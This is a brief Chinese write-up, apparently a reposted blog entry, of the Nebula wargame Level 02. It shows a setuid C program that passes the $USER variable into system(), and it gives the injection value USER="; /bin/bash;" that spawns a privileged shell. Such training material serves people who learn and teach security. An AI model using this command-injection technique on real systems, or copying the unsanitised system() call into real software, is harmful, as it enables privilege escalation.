Nebula Challenge 02

利用环境变量注入实现代码执行
本文介绍了一种通过修改$USER环境变量进行代码注入的方法,并最终触发system函数执行任意命令的技术细节。通过构造特定的字符串,攻击者可以绕过程序的安全限制执行如/bin/bash等命令。

 

题目简介:还是任意代码执行,不过这道题是用了类似注入的方式。

 1 #include <stdlib.h>
 2 #include <unistd.h>
 3 #include <string.h>
 4 #include <sys/types.h>
 5 #include <stdio.h>
 6 
 7 int main(int argc, char **argv, char **envp)
 8 {
 9   char *buffer;
10 
11   gid_t gid;
12   uid_t uid;
13 
14   gid = getegid();
15   uid = geteuid();
16 
17   setresgid(gid, gid, gid);
18   setresuid(uid, uid, uid);
19 
20   buffer = NULL;
21 
22   asprintf(&buffer, "/bin/echo %s is cool", getenv("USER"));
23   printf("about to call system(\"%s\")\n", buffer);
24   
25   system(buffer);
26 }

 

程序与外界的交互是$USER变量,可以对其进行注入,然后到system()中执行。

 

命令:USER="; /bin/bash;"

  " " —— 防止/bin/bash被作为命令执行

  ; —— 结束之前的命令,开始新命令

  /bin/bash —— 用于system("/bin/bash")的形成

 

 

转载于:https://www.cnblogs.com/iamgroot/p/9306256.html

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值